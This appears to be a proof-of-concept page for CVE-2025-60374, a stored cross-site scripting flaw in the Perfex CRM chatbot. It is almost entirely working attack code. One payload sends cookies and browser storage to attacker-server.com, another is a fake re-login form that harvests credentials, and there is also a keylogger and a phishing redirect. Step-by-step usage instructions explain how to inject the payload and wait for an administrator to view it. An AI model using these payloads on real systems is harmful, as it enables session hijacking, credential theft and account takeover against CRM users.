CVE-2025-60374 Perfex CRM聊天机器人存储型XSS漏洞

<!-- CVE-2025-60374 - Perfex CRM Stored XSS PoC --> <!-- This PoC demonstrates a stored XSS vulnerability in Perfex CRM chatbot (versions < 3.3.1) --> <!-- The malicious payload is submitted through the chatbot interface and stored on the server --> <!-- When other users view the chat, the payload executes in their browser --> <!-- Step 1: Craft the malicious chat message payload --> <!-- The payload steals session cookies and sends them to the attacker's server --> <script> // Steal session cookies var img = new Image(); img.src = 'http://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie); // Exfiltrate sensitive page content fetch('http://attacker-server.com/log', { method: 'POST', body: JSON.stringify({ url: window.location.href, cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage) }), headers: {'Content-Type': 'application/json'} }); </script> <!-- Alternative payloads for different attack scenarios --> <!-- Payload 2: Fake login form (credential harvesting) --> <form action="http://attacker-server.com/phish" method="POST"> <h3>Session Expired - Please Re-login</h3> <input type="text" name="username" placeholder="Username"/> <input type="password" name="password" placeholder="Password"/> <input type="submit" value="Login"/> </form> <!-- Payload 3: Keylogger --> <script> document.onkeypress = function(e) { var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker-server.com/keylog?key=' + encodeURIComponent(e.key)); xhr.send(); }; </script> <!-- Payload 4: Redirect to phishing page --> <script> window.location.href = 'http://attacker-server.com/phishing'; </script> <!-- Usage Instructions: 1. Inject the payload through Perfex CRM chatbot message input 2. Wait for a victim (admin or user) to view the chat conversation 3. The malicious JavaScript executes automatically in the victim's browser 4. Stolen credentials/cookies can be used to access the CRM system -->